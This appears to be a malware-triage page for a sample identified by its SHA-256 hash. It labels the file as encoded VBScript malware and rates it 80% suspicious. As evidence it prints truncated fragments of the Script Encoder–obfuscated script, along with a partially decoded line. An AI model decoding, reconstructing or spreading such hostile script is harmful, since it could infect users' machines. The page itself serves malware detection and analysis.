Suspicious 80% Download

cbb49af5dfd3c636ae05618d4935a0abb764018dc9cb1bb53bf78ed45c650d06.vbe

Encoded VBScript malware

Microsoft Script Encoder protected scriptVBScript has long average lines
SHA-256cbb49af5dfd3c636ae05618d4935a0abb764018dc9cb1bb53bf78ed45c650d06
MaleculeO(As₃)Md

Evidence

Microsoft Script Encoder protected script line 1
1#@~^9ucNAA==6aYrKx,26aVb^kD@#@&@#@&frh,rqh#n@#@&?O~r&njn~'~/M+CY64N+^OvJ?^.bwOk Lcsr^+UX/D+s64N+^Yr#@#@&@#@&fbhPA5SojSP:f"HB@#@&@#@&fr:,/nxI/@#@&?+O~;nBI;~{P/M+mY+}4NnmD`E?1tn[!V+cj+M\k1nE#@#@&@#@&9kh~qH2z@#@&qH3zP'~omVd+@#@&@#@&@#@&fb:P;|q6A@#@&j+DP/FqrA,xP;D+mOnr(LmO`E Um.kaORUtns^J#@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&)K_99@#@&@#@&@#@&@#@&@#@&@#@&@#@&/KxdDPz|GM,~P,P~P,P~x,J}I}xgnrM;ijTI9rE@#@&/KxdY,t9t9(~,PP~x,Ju|;i'?G6YSlD-r@#@&;WU/DPP :H1,~P,P',EKK8HrP@#@&@#@&@#@&@#@&@#@&@#@&s;U1YkGU,S3.h3vM\t9q#@#@&P,~PGkhP:fK3n~Pd9nwI@#@& …
Percent-encoded content decoded line 1
1:12107… 2F2c&8&WfF2cfF2cfq2c&8fc2F&Wfq&W&8&*&qfl&q&WfF2Gfq2c&*fW&q&Wf8&WF2G&R&Wf,2cfF2cfq2c&8fc2F&W**&W&8&f&*fW&f&WfF2Gf{2c&qf+&{&W*2&*2F2c&8&Wfc2cfF2GfX2c&8f*2F&W**&W&8&*&qfW&q&WfF2GfX2c&+fF&{&+fy&*2F2vcy&WfG2cfF2G*q2c&yfv2G&+ff&W&8&X&XfW&{&WfF …
Microsoft Script Encoder footer line 1
1:911277… ;(P15]q``j`p s*@#@&P~P~i`( sc)mDkGUkRZ.nmYn`ZbcnCDt,'P_S\92v#@#@&Ax[~UE4@#@&@#@&@#@&@#@&fakEAw==^#~@�

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.